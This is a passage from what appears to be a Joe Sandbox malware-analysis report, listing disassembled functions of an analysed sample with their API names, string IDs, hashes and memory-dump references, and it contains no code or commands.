                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageReleaseScreenSendText
                                                          • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                                          • API String ID: 3721556410-2107944366
                                                          • Opcode ID: 587eb60e7772e36f3e392801f2e4a607ca3d480d8a76847679925989c46b6468
                                                          • Instruction ID: 5737f879096209d86ec13b8770c602350ff1625c8da162db5a3afac8987915cc
                                                          • Opcode Fuzzy Hash: 587eb60e7772e36f3e392801f2e4a607ca3d480d8a76847679925989c46b6468
                                                          • Instruction Fuzzy Hash: 20618E66A16A52D5EB10DF61D8805ED3B70FB85F98F500132DD1D97AA5DF38E845C340
                                                          Function 00007FF6A540E580 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 138COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                          • String ID: SeDebugPrivilege
                                                          • API String ID: 2533919879-2896544425
                                                          • Opcode ID: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
                                                          • Instruction ID: eda06bf63109728d67000b562bd106690a0d9ea9a13c4d0b318ac2e65bb3759d
                                                          • Opcode Fuzzy Hash: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
                                                          • Instruction Fuzzy Hash: 71519062E19A4282EB14EB65D09037C7B60FFD6F81F058831D60D87692EF7CE865CB00
                                                          Function 00007FF6A541E248 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$LongMessageSend$Show
                                                          • String ID: '
                                                          • API String ID: 257662517-1997036262
                                                          • Opcode ID: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
                                                          • Instruction ID: 956b7562dbe41ec33cbcc6e6a7279eaa5a2b9390d4a32971631e4d3012d38c6c
                                                          • Opcode Fuzzy Hash: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
                                                          • Instruction Fuzzy Hash: 0A51E73AA0965681E364DB66A458A7D2B50FB87F90F544231CE5E83790CF3DEC62C710
                                                          Function 00007FF6A53EAD94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 70windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: IconLoad_invalid_parameter_noinfo
                                                          • String ID: blank$info$question$stop$warning
                                                          • API String ID: 4060274358-404129466
                                                          • Opcode ID: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
                                                          • Instruction ID: f0614b50b33505e6d96bf34673d2b55b93090b74893d6f82b1022c5d05e05d9b
                                                          • Opcode Fuzzy Hash: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
                                                          • Instruction Fuzzy Hash: A7213922E1EB9791EA50DB16A9141BAA3E5AFC7F80F445035DD4D87695EE7CEC018340
                                                          Function 00007FF6A53EC5C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: HandleLoadModuleString$Messagewprintf
                                                          • String ID: %s (%d) : ==> %s: %s %s
                                                          • API String ID: 4051287042-3128320259
                                                          • Opcode ID: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
                                                          • Instruction ID: e2a38ebb9a6391cec65da68d362ebe399ad20e0d44c1d63909a6aa3fc6ab0840
                                                          • Opcode Fuzzy Hash: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
                                                          • Instruction Fuzzy Hash: 65117031A29A8591D730CB10F4407FE62A0FB9AB44F801036DA4EC7649DE3CC945C700
                                                          Function 00007FF6A542233C Relevance: 12.3, APIs: 8, Instructions: 254windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                          • String ID:
                                                          • API String ID: 1211466189-0
                                                          • Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
                                                          • Instruction ID: 1db09e44f74e99759a2387939a6e71d642e0f53ea22aa3e236193be890860bd6
                                                          • Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
                                                          • Instruction Fuzzy Hash: 76A1F426B1A6A382EB68CF25915477D77A1FB95F84F109079EA0AC7A90DF3CEC51C700
                                                          Function 00007FF6A539443C Relevance: 12.1, APIs: 8, Instructions: 124COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ShowWindow
                                                          • String ID:
                                                          • API String ID: 1268545403-0
                                                          • Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
                                                          • Instruction ID: a8b03c1287a827c5e7ea99b2a0292e93a3b5a2c3219a9b7f4c78390f6764e2eb
                                                          • Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
                                                          • Instruction Fuzzy Hash: 4C51A6B2E1E982D9FB65DB25906437D16A1AFC7F08F184071C50EC66D5FE6CAC94C380
                                                          Function 00007FF6A54190A8 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                          • String ID:
                                                          • API String ID: 3864802216-0
                                                          • Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
                                                          • Instruction ID: 83ca1b0bb1ce603657862fd3a83b5326fb6f3e5442e6025933609403edfb5017
                                                          • Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
                                                          • Instruction Fuzzy Hash: 1441BF7661969187E324CB22B444B6ABBA0F799BD1F104135EF8A87B54DF3CD8508B00
                                                          Function 00007FF6A53B0BBC Relevance: 10.8, APIs: 7, Instructions: 294COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
                                                          • Instruction ID: 18438118e7916bf267b5ef8bf045351d4e8d1fc37ecccdf92d2c92aa3af0826d
                                                          • Opcode Fuzzy Hash: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
                                                          • Instruction Fuzzy Hash: 23C1E322A2EE8285EA60EF11905027D6B91BFD2F80F568135DA4E873D6EF3DEC408700
                                                          Function 00007FF6A53F09C4 Relevance: 10.7, APIs: 7, Instructions: 248COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ArraySafe$Data$Access$UnaccessVartype
                                                          • String ID:
                                                          • API String ID: 2550207440-0
                                                          • Opcode ID: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
                                                          • Instruction ID: 97572dab43ff77503c3c8bf368c5ea70566938912ed4d7ad3e186ea55b8cc496
                                                          • Opcode Fuzzy Hash: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
                                                          • Instruction Fuzzy Hash: AEA16E22A2AA1285FB14DB69C4943BC27A0FF86F58F154431DE0EDB695EE7CEC49C350
                                                          Function 00007FF6A53E9034 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessagePost$KeyboardState$Parent
                                                          • String ID:
                                                          • API String ID: 87235514-0
                                                          • Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
                                                          • Instruction ID: 5982033096c20e682a6836e64d48942d2107a59836ea18061e3accf51c91266f
                                                          • Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
                                                          • Instruction Fuzzy Hash: 6A516F93A2E6D156FB62CB61550067D6FE1FB87FC4F488074DE8A5BB46DE28EC508310
                                                          Function 00007FF6A53E4860 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124comlibraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
                                                          • String ID: DllGetClassObject
                                                          • API String ID: 668425406-1075368562
                                                          • Opcode ID: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
                                                          • Instruction ID: 3f2b8106227b2be6fdc62e0c302b6c4eb101610508c9f967b689e908188edaa9
                                                          • Opcode Fuzzy Hash: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
                                                          • Instruction Fuzzy Hash: 22514C62A2AB46AAEB14CF16E54037963E0FB8AB84F044134DF49D7A45EF7CE864C744
                                                          Function 00007FF6A5419248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: LongMessageSendWindow
                                                          • String ID:
                                                          • API String ID: 3360111000-0
                                                          • Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
                                                          • Instruction ID: 04d69951f3dfc77e2d23f6c51085c99415f03e69fb816aa3e5cda5f774e5533d
                                                          • Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
                                                          • Instruction Fuzzy Hash: 09416F65B1AA5681EB60CB1AE49067C7760FBCAF94F544132CE1EC7BA4CF3DE8518300
                                                          Function 00007FF6A54037A8 Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastinet_addrsocket
                                                          • String ID:
                                                          • API String ID: 4170576061-0
                                                          • Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
                                                          • Instruction ID: fcbd9d96b1fd656bdf61e0c777fc41e9004d680da40b30cf2a3d78cb6fc7c807
                                                          • Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
                                                          • Instruction Fuzzy Hash: 6441B332A09B8282EB20DF25A4442AD77A0FB96FE4F504231DE5E83B95CF3CD945C740
                                                          Function 00007FF6A541A884 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                                          • String ID:
                                                          • API String ID: 161812096-0
                                                          • Opcode ID: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
                                                          • Instruction ID: 033b3bf0da0f25ce6d16fb966dd1d8cf7ed19337778bff47ec76f566b078d398
                                                          • Opcode Fuzzy Hash: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
                                                          • Instruction Fuzzy Hash: 9D416936B16B0585EB50CF22D8846AD37A0FB86F98F154035DE4E87B64CF38E895C750
                                                          Function 00007FF6A54115C4 Relevance: 10.6, APIs: 7, Instructions: 90registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                          • String ID:
                                                          • API String ID: 395352322-0
                                                          • Opcode ID: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
                                                          • Instruction ID: 7aaad90159c79ef032ad18b01a9d23aa5b141225ed45a0bcb91ad9c2d8d38e1c
                                                          • Opcode Fuzzy Hash: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
                                                          • Instruction Fuzzy Hash: A1419232A1DB8596E720CF11E4547FE63A0FB8AB94F441131EA8D8BA58CF3DD959C700
                                                          Function 00007FF6A53E4FCC Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                          • String ID:
                                                          • API String ID: 3761583154-0
                                                          • Opcode ID: 8e9346c71d069487ec886b41614336125caf084b31a3a033ea0f7e8f64ee92c9
                                                          • Instruction ID: 984f56c290f1770c9f17a09e251030a0941cbfdc84f9aa94004e452084d6b7ad
                                                          • Opcode Fuzzy Hash: 8e9346c71d069487ec886b41614336125caf084b31a3a033ea0f7e8f64ee92c9
                                                          • Instruction Fuzzy Hash: 79316C21A0AF4689EA64DF12E44416D73E1FB96FE0F488236EE5E87794DE3CEC448744
                                                          Function 00007FF6A53E4EB0 Relevance: 10.6, APIs: 7, Instructions: 74memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AllocByteCharMultiStringWide
                                                          • String ID:
                                                          • API String ID: 3603722519-0
                                                          • Opcode ID: 26bfd482f8b7fd3ddb040b217b022bbdb8f17aac44be72f492c713f40afc06c1
                                                          • Instruction ID: 9c9fca28ad628d82236a8ef67ee3e75b3834e4e8fcca7cb37dfdba34091751e7
                                                          • Opcode Fuzzy Hash: 26bfd482f8b7fd3ddb040b217b022bbdb8f17aac44be72f492c713f40afc06c1
                                                          • Instruction Fuzzy Hash: 51319021A19B4599EB24DF12E44416DB3E0FB9AFA0F484236DE5D87795DF3CEC858700
                                                          Function 00007FF6A541AEDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                                                          Download Yara Rule
